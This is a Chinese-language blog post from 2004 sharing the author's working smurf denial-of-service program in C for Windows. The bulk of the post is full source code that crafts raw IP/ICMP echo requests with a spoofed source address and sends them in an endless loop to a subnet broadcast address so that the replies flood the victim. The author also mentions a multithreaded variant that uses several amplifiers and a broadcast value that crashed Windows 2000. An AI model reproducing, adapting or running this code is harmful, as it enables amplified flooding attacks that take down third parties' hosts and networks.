CSDN博客

img uuty

10月12,,我的smurf程序,,

发表于2004/10/12 8:56:00  1164人阅读

终于写出来了,,说实话这个用的时间是最长的了,,碰到了不少问题,,也看了不少程序,,现在看起来那个10004错误是由于ip头内容不对才出的,,ip头基本上都一个填法,,win下的.h文件里没有各种协议的定义,,郁闷

typedef struct _icmp_heAder
{
 char type;
 char code;
 USHORT checksum;
 USHORT id;
 USHORT sequence;
 ULONG timestAmp;
}ICMP_HEADER;
//--------------------------------------------------------------------
typedef struct _ip_heAder
{
    unsigned char  ip_verlen;        // 4-bit IPv4 version
                                     // 4-bit header length (in 32-bit words)
    unsigned char  ip_tos;           // IP type of service
    unsigned short ip_totallength;   // Total length
    unsigned short ip_id;            // Unique identifier
    unsigned short ip_offset;        // Fragment offset field
    unsigned char  ip_ttl;           // Time to live
    unsigned char  ip_protocol;      // Protocol(TCP,UDP etc)
    unsigned short ip_checksum;      // IP checksum
    unsigned int   ip_srcaddr;       // Source address
    unsigned int   ip_destaddr;      // Source address
} IP_HEADER;
//--------------------------------------------------------------------

另外setsockopt里用IP_HDRINCL选项时要加一个头文件#include <ws2tcpip.h> ,,好象linux下也有这个选项啊,,但linux下的smurf程序里怎么没看到??

USHORT checksum(USHORT *buffer, int size)
{
 unsigned long cksum=0;
 while(size >1)
 {
  cksum+=*buffer++;
  size -=sizeof(USHORT);
 }
 if(size )
 {
  cksum += *(UCHAR*)buffer;
 }
 cksum = (cksum >> 16) + (cksum & 0xffff);
 cksum += (cksum >>16);
 return (USHORT)(~cksum);
}
//--------------------------------------------------------------------          
这东西拿来就用吧,,很多地方都用的到

还有个关键的地方就是填checksum时,,ip头好象电脑自动给填上,,是这样吗?自己填的时候一定要注意先给checksum填0,然后将icmp头memcpy到一个buff里去,,然后这时候用checksum计算一遍,填进去,,然后在memcpy把icmp头重新放到buff里,,,,icmp头的checksum包括icmp所带的数据,,,,
其实现在还是不明白什么时候填ip头,,,等最后吗??估计是电脑给填的

 /////////////////////////////在icmp头没有填数据时,,icmp的checksum总是出错 ?????
 memcpy(Buff,&ip_heAder,sizeof(IP_HEADER));
 memcpy(Buff+sizeof(IP_HEADER),&icmp_heAder,(sizeof(ICMP_HEADER)+20));//20
 memset(Buff+sizeof(IP_HEADER)+sizeof(ICMP_HEADER),'A',20);
 ip_heAder.ip_checksum  = checksum((USHORT*)Buff,sizeof(Buff));
 icmp_heAder.checksum = checksum((USHORT*)(Buff+sizeof(IP_HEADER)),(sizeof(ICMP_HEADER)+20));

 memcpy(Buff,&ip_heAder,sizeof(IP_HEADER));
 memcpy(Buff+sizeof(IP_HEADER),&icmp_heAder,(sizeof(ICMP_HEADER)+20));//20
 memset(Buff+sizeof(IP_HEADER)+sizeof(ICMP_HEADER),'A',20);

这里,我的win2000蓝屏了多次,,把广播地址填255.255.255.255就会蓝屏,,把那个导致蓝屏的程序不动的作为附件吧,,我已经给ms-focus@security.org发了信了,,可是在邮件列表上还没看到,,  还有一次就是我用mAlloc时也蓝屏了,,sigh

下面的就是smurf了,但攻击性不是很强,,完全看放大器里的机子多不多了,,
我又改成了一个smurfAttAck,,用多线程,,和多放大器


////////////////////////////////////////////////////////////////////////////////////////
#include "stdio.h"
#include "winsock2.h"
#include <ws2tcpip.h>
#pragma comment (lib,"ws2_32")

 

typedef struct _icmp_heAder
{
 char type;
 char code;
 USHORT checksum;
 USHORT id;
 USHORT sequence;
 ULONG timestAmp;
}ICMP_HEADER;
//--------------------------------------------------------------------
typedef struct _ip_heAder
{
    unsigned char  ip_verlen;        // 4-bit IPv4 version
                                     // 4-bit header length (in 32-bit words)
    unsigned char  ip_tos;           // IP type of service
    unsigned short ip_totallength;   // Total length
    unsigned short ip_id;            // Unique identifier
    unsigned short ip_offset;        // Fragment offset field
    unsigned char  ip_ttl;           // Time to live
    unsigned char  ip_protocol;      // Protocol(TCP,UDP etc)
    unsigned short ip_checksum;      // IP checksum
    unsigned int   ip_srcaddr;       // Source address
    unsigned int   ip_destaddr;      // Source address
} IP_HEADER;
//--------------------------------------------------------------------
USHORT checksum(USHORT *buffer, int size)
{
 unsigned long cksum=0;
 while(size >1)
 {
  cksum+=*buffer++;
  size -=sizeof(USHORT);
 }
 if(size )
 {
  cksum += *(UCHAR*)buffer;
 }
 cksum = (cksum >> 16) + (cksum & 0xffff);
 cksum += (cksum >>16);
 return (USHORT)(~cksum);
}
//--------------------------------------------------------------------
int main(int Argc,char* Argv[])
{
 WSADATA WSADAtA;
 SOCKET RAwSock;
 int  TimeOut;
 BOOL HAdHeAder;
 BOOL IsBrocAst;
 IP_HEADER  ip_heAder;
 ICMP_HEADER  icmp_heAder;


 char Buff[sizeof(IP_HEADER)+sizeof(ICMP_HEADER)+20];

 struct sockaddr_in SAddr={0},dAddr={0};

 if (WSAStartup(MAKEWORD(2,2),&WSADAtA)){
  printf("WSAStArtup fAiled:%d/n",GetLastError());
  return -1;
 }
 if ((RAwSock=socket(AF_INET,SOCK_RAW,255))==INVALID_SOCKET){
  printf("socket fAiled:%d/n",GetLastError());
  return -1;
 }

 TimeOut = 500;
 if (setsockopt(RAwSock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut))){
  printf("setsockopt sendtimeout fAiled:%d/n",GetLastError());
  return -1;
 }
 if (setsockopt(RAwSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&TimeOut,sizeof(TimeOut))){
  printf("setsockopt recvtimeout fAiled:%d/n",GetLastError());
  return -1;
 }

 HAdHeAder = TRUE;
 if (setsockopt(RAwSock,IPPROTO_IP,IP_HDRINCL,(char*)&HAdHeAder,sizeof(HAdHeAder))){
  printf("setsockopt  IP_HDRINCL fAiled:%d/n",GetLastError());
  return -1;
 }

 IsBrocAst = TRUE;
 if (setsockopt(RAwSock,SOL_SOCKET,SO_BROADCAST,(char*)&IsBrocAst,sizeof(IsBrocAst))){
  printf("setsockopt  IP_HDRINCL fAiled:%d/n",GetLastError());
  return -1;
 }

 //Buff = malloc(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)+20);

 //ip_heAder = (IP_HEADER*)Buff;

 /////fill ip_heAder
 ip_heAder.ip_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
 //ip_heAder.ihl  = 5;
 ip_heAder.ip_tos = 0;
 ip_heAder.ip_totallength  = htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)+20);
 ip_heAder.ip_id  = 0;
 //ip_heAder.frAg_off = 0;
 ip_heAder.ip_offset = 0;
 ip_heAder.ip_ttl  = 255;
 ip_heAder.ip_protocol  = IPPROTO_ICMP;
 ip_heAder.ip_srcaddr   = inet_addr("202.198.169.128");
 ip_heAder.ip_destaddr  = inet_addr("202.198.169.255");
 //ip_heAder.checksum  = checksum((USHORT*)&ip_heAder,sizeof(IP_HEADER));
 ///////////////////

 //icmp_heAder = (ICMP_HEADER*)(Buff+sizeof(IP_HEADER));

 //////fill icmp_heAder
 icmp_heAder.type = 8;
 icmp_heAder.code = 0;
 icmp_heAder.id  = htons(0);
 icmp_heAder.sequence = 0;
 //icmp_heAder.checksum = 0;
 icmp_heAder.checksum = 0;//checksum((USHORT*)(Buff+sizeof(IP_HEADER)),(sizeof(ICMP_HEADER)+20));
 //////////////////////


 SAddr.sin_family = AF_INET;
 SAddr.sin_addr .S_un .S_addr = ip_heAder.ip_destaddr ;
 SAddr.sin_port = htons (0);


 /////////////////////////////在icmp头没有填数据时,,icmp的checksum总是出错 ?????
 memcpy(Buff,&ip_heAder,sizeof(IP_HEADER));
 memcpy(Buff+sizeof(IP_HEADER),&icmp_heAder,(sizeof(ICMP_HEADER)+20));//20
 memset(Buff+sizeof(IP_HEADER)+sizeof(ICMP_HEADER),'A',20);
 ip_heAder.ip_checksum  = checksum((USHORT*)Buff,sizeof(Buff));
 icmp_heAder.checksum = checksum((USHORT*)(Buff+sizeof(IP_HEADER)),(sizeof(ICMP_HEADER)+20));

 memcpy(Buff,&ip_heAder,sizeof(IP_HEADER));
 memcpy(Buff+sizeof(IP_HEADER),&icmp_heAder,(sizeof(ICMP_HEADER)+20));//20
 memset(Buff+sizeof(IP_HEADER)+sizeof(ICMP_HEADER),'A',20);

 ///////////////////////////////////////////////////////////////////////////
 while(1){
  //Sleep(200);
 if (!sendto(RAwSock,Buff,sizeof(Buff),0,(struct sockaddr*)&SAddr,sizeof(SAddr))){
  printf("send fAiled:%d/n",GetLastError());
  return -1;
 }
 }
 closesocket(RAwSock);
 WSACleanup();
 return 0;
}

        uty
        uty@mail.jlu.edu.cn
          2004-10-12

阅读全文
0 0

相关文章推荐

img
取 消
img